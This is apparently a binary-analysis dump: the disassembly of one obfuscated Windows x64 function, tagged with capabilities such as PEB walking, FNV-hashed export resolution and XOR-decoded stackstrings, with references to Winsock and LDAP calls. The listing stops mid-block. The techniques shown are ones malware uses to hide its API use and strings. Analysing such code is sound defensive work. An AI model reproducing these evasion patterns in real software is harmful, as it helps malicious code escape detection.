Function at 0x14012aa10
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rsi, qword [0x1404378c8]
test rsi, rsi
jne 0x14012abcd
mov rax, qword gs:[0x60]
xor r11d, r11d
mov r10d, 0x8f326cc4
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14012aaad
psrldq xmm0, 8
mov edx, 0x8835ed72
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14012aaa4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14012aa90
cmp edx, r11d
jne 0x14012abae
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r9
cmp rbx, r9
je 0x14012abae
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14012abae
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x8835ed72
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14012ab27
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14012ab10
cmp edx, r10d
je 0x14012ab33
test r8d, r8d
jne 0x14012aaf0
jmp 0x14012abae
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov esi, dword [rcx + rdx*4]
add rsi, r9
cmp rsi, rbx
jbe 0x14012abc6
lea rax, [r15 + rbx]
cmp rsi, rax
jae 0x14012abc6
movzx eax, byte [rsi]
mov r11d, 0x8835ed72
mov r10d, r11d
cmp al, 0x2e
je 0x14012ab87
nop dword [rax + rax]
movsx eax, al
inc rsi
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [rsi]
cmp al, 0x2e
jne 0x14012ab70
movzx eax, byte [rsi + 1]
inc rsi
test al, al
je 0x14012abaa
movsx eax, al
lea rsi, [rsi + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [rsi]
test al, al
jne 0x14012ab92
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14012abc4
cmp qword [rax + 0x30], 0
jne 0x14012aa60
xor esi, esi
mov qword [0x1404378c8], rsi
movzx edi, byte [rbp + 0x30]
xor eax, eax
xorps xmm0, xmm0
mov word [rbp - 0x36], ax
movups xmmword [rbp - 0x46], xmm0
mov byte [rbp - 0x34], al
movabs r15, 0x183f849da5c9abbf
mov dword [rbp - 0x50], 0x675c6d18
movabs r14, 0xfd35e0ee998b16ab
mov dword [rbp - 0x4c], 0x6358a366
movabs r13, 0xa9bca04f8883b239
mov word [rbp - 0x48], 0xf162
movabs r12, 0x48be8dd8f15d033d
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x14012b790
movzx r10d, byte [rbp + r11 - 0x50]
mov r9d, r10d
cmp rbx, r11
ja 0x14012b787
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14012ac71
lea rdi, [r11 + r15]
movzx eax, r9b
and al, dil
add al, al
sub dil, al
sub dil, 0x39
add dil, r10b
jmp 0x14012acc0
je 0x14012b71b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14012b69f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14012b66d
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14012b64c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14012b628
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14012b5e4
nop dword [rax + rax]
cmp r8, r11
ja 0x14012b77e
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14012acea
lea rcx, [r11 + r14]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
jmp 0x14012ad20
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14012b5c8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14012b5a4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14012b589
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14012b55f
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14012b274
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14012b255
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14012b22d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14012b20c
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14012b1ef
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14012b1d4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14012b1b5
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14012b19a
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14012b17b
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14012b151
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14012ad30
lea rbx, [r8 + 1]
lea r8, [rbx + 0x64]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14012b761
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14012b744
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14012af1a
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14012aeff
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14012aee4
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14012b108
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14012b0c3
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14012b085
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14012b062
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14012ad30
lea rbx, [r8 + 0x40]
lea r8, [rbx + 2]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14012b034
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14012b019
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14012affa
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14012afdf
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14012afc0
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14012afa1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14012af7c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14012af54
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14012af35
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14012ad30
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x42]
jmp 0x14012ad30
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
jmp 0x14012ad20
lea ecx, [r11 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x14012acc0
lea ecx, [r11 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
jmp 0x14012ac46
lea ecx, [r11 + 0x58]
movzx r9d, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14012b5fe
lea edx, [r11 - 0x26]
mov ecx, 5
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012ac33
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012ac33
lea ecx, [r11 - 0x22]
movzx r9d, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x14012b522
lea edx, [r11 + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012b683
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x14012b686
lea edx, [r11 + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012b6b9
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x14012b6de
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012ac33
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
mov byte [rbp + r11 - 0x50], dil
inc r11
jmp 0x14012ac33
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
cmp r8, 0x61
jb 0x14012b078
movzx r9d, r11b
lea ecx, [r9 + 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x6c]
jmp 0x14012b5fe
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
cmp rbx, 0xa
jae 0x14012b4ff
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14012b419
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14012b09b
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
lea rax, [r8 + rbx]
cmp rax, 0x7a
je 0x14012b546
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14012b345
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x14012b0d9
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 0xe
inc r11
jmp 0x14012ac33
lea edx, [r11 - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012b6de
lea ecx, [r11 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x14012b6b9
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012b686
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x14012b683
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx r9d, r11b
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14012b51c
lea ecx, [r11 + 0xe]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
inc r11
jmp 0x14012ac33
lea edx, [r11 - 0x70]
mov ecx, 8
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012ac33
movzx r9d, r11b
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x14012b5fe
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14012b298
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x14012b11e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14012b2cb
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 0x5a
inc r11
jmp 0x14012ac33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14012b2ef
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x14012b6b9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14012b315
mov ecx, gethostname
movzx r9d, r11b
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14012b51c
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14012b11e
mov ecx, listen
movzx r9d, r11b
lea edx, [r9 + 0x46]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012b5fe
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14012b36d
movzx r9d, r11b
lea ecx, [r9 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 7
jmp 0x14012b5fe
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14012b39a
lea ecx, [r11 + 0x7f]
inc r8
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x79
inc r11
jmp 0x14012ac33
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14012b3be
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x14012b686
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14012b3e2
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x14012b6de
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14012b0d9
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
add dil, 0x69
inc r11
jmp 0x14012ac33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14012b450
lea edx, [r11 - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012ac33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14012b478
lea edx, [r11 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012b6b9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14012b4a2
lea ecx, [r11 - 0x60]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
inc r11
jmp 0x14012ac33
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14012b4d3
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012ac33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14012b09b
movzx r9d, r11b
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14012b5fe
movzx edi, byte [rbp + r11 - 0x50]
movzx r9d, r11b
lea edx, [r9 - 0x68]
movzx eax, dl
and al, r10b
add al, al
sub dil, al
sub dil, 0x28
add dil, dl
add dil, r10b
add r9b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x61
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 - 0x50], r9b
jmp 0x14012b683
mov ecx, 0x33
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14012b6b6
lea ecx, [r11 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
add dil, 0x51
inc r11
jmp 0x14012ac33
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
jmp 0x14012b6b9
lea ecx, [r11 - 0x59]
inc r8
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
inc r11
jmp 0x14012ac33
movzx r9d, r11b
lea ecx, [r9 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1f
jmp 0x14012b5fe
movzx r9d, r11b
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
sub r9b, 0x27
inc r8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x11
add r9b, r10b
mov byte [rbp + r11 - 0x50], r9b
dec r11
inc r11
jmp 0x14012ac33
lea ecx, [r11 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
inc r8
dec r11
inc r11
jmp 0x14012ac33
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x57
dec r11
inc r11
jmp 0x14012ac33
lea ecx, [r11 + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x73
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14012ac33
lea rdx, [r11 + r13]
movzx edi, r10b
movzx eax, dl
and al, r9b
add al, al
sub dil, al
add dil, 0x71
add dil, dl
lea ecx, [r11 - 0x2b]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x2d
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x50], al
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x6c]
inc rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
sub cl, 0xc
add cl, r10b
mov byte [rbp + r11 - 0x50], cl
add r11, rax
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14012ac33
lea rax, [r11 + r12]
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
add dil, 0x55
movzx eax, byte [rbp + r11 - 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14012ac33
add r11b, 0x3b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x63
jmp 0x14012ac30
sub r11b, 0x43
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x2b
jmp 0x14012ac20
lea rcx, [rbp + 0x17f6404]
jmp 0x14012b794
lea rcx, [rbp + 0x1090fc3]
jmp 0x14012b794
lea rcx, [rbp - 0x50]
call rsi
mov r13, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14012c624
mov r12, qword [0x1404378c0]
test r12, r12
jne 0x14012b96e
mov rcx, qword gs:[0x60]
xor r11d, r11d
mov r10d, 0xfe598fc7
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14012b82d
psrldq xmm0, 8
mov edx, 0xbbc61943
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14012b824
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14012b810
cmp edx, r11d
jne 0x14012b94e
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r14, rcx
mov ebx, ecx
shr r14, 0x20
add rbx, r9
cmp rbx, r9
je 0x14012b94e
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14012b94e
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rcx, [rsi + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0xbbc61943
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14012b8a7
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x14012b890
cmp ecx, r10d
je 0x14012b8b6
test r8d, r8d
jne 0x14012b870
jmp 0x14012b94e
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r9
add rcx, r9
movzx edx, word [rax + r8*2]
mov r12d, dword [rcx + rdx*4]
add r12, r9
cmp r12, rbx
jbe 0x14012b967
lea rax, [r14 + rbx]
cmp r12, rax
jae 0x14012b967
movzx eax, byte [r12]
mov r11d, 0xbbc61943
mov r10d, r11d
cmp al, 0x2e
je 0x14012b919
nop word [rax + rax]
movsx eax, al
inc r12
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r12]
cmp al, 0x2e
jne 0x14012b900
movzx eax, byte [r12 + 1]
inc r12
test al, al
je 0x14012b94b
nop word [rax + rax]
movsx eax, al
lea r12, [r12 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r12]
test al, al
jne 0x14012b930
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14012b964
cmp qword [rax + 0x30], 0
jne 0x14012b7e0
xor r12d, r12d
mov qword [0x1404378c0], r12
movzx edi, byte [rbp + 0x30]
xor eax, eax
mov qword [rbp - 0x16], rax
movabs r14, 0xbc184eb09d96e618
mov dword [rbp - 0x30], 0x6e305ee
movabs r15, 0x3448ec11d8c4b248
mov dword [rbp - 0x2c], 0xee3f0711
mov dword [rbp - 0x28], 0x39352f36
mov dword [rbp - 0x24], 0x363a2c31
mov dword [rbp - 0x20], 0x31d23f3f
mov dword [rbp - 0x1c], 0x3423263b
mov word [rbp - 0x18], 0x992b
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x22
jae 0x14012c468
movzx r10d, byte [rbp + r11 - 0x30]
mov esi, r10d
mov r9d, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14012c45f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14012ba1f
lea rcx, [r11 + r14]
mov edi, Ordinal_46
movzx eax, cl
and al, sil
sub dil, al
add dil, dil
add dil, r10b
add dil, cl
jmp 0x14012ba40
je 0x14012c3eb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14012c38f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14012c348
nop
cmp r8, r11
ja 0x14012c456
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14012ba71
lea edx, [r11 - 8]
mov ecx, Ordinal_30
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012baa0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14012c32c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14012c30d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14012c2df
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14012c003
nop dword [rax]
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14012bfe4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14012bfbd
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14012bf98
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14012c08b
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14012bf7d
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14012bf5e
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14012bf3f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14012bf24
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14012bef6
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14012bab0
lea rbx, [r8 + 3]
lea r8, [rbx + 5]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14012c436
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14012c419
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14012bca1
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14012bc82
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14012bc67
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14012bea3
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14012be53
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14012be10
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14012bded
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14012bab0
lea rbx, [r8 + 5]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14012bdbf
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14012bda4
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14012bd85
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14012bd66
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14012bd4e
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14012bd2f
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14012bd0a
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14012bce2
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14012bcc3
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14012bab0
lea rbx, [r8 + 8]
lea r8, [rbx + 0x3e8]
jmp 0x14012bab0
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14012baa0
lea edx, [r11 - 0x28]
mov ecx, listen
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012ba40
lea edx, [r11 - 0x58]
mov ecx, 0x34
movzx eax, dl
mov r9, rsi
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012b9f0
lea ecx, [r11 - 0x40]
movzx r9d, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14012c362
lea edx, [r11 - 0x70]
mov ecx, 8
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea edx, [r11 + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea ecx, [r11 + 0x30]
movzx r9d, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14012c3ad
movzx ecx, r11b
movzx edi, r11b
and cl, r10b
add cl, cl
sub dil, cl
add dil, r10b
jmp 0x14012c3cf
lea edx, [r11 - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012c3d2
lea ecx, [r11 - 0x60]
movzx r9d, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14012c274
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14012c29e
lea edx, [r11 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, dl
and al, r10b
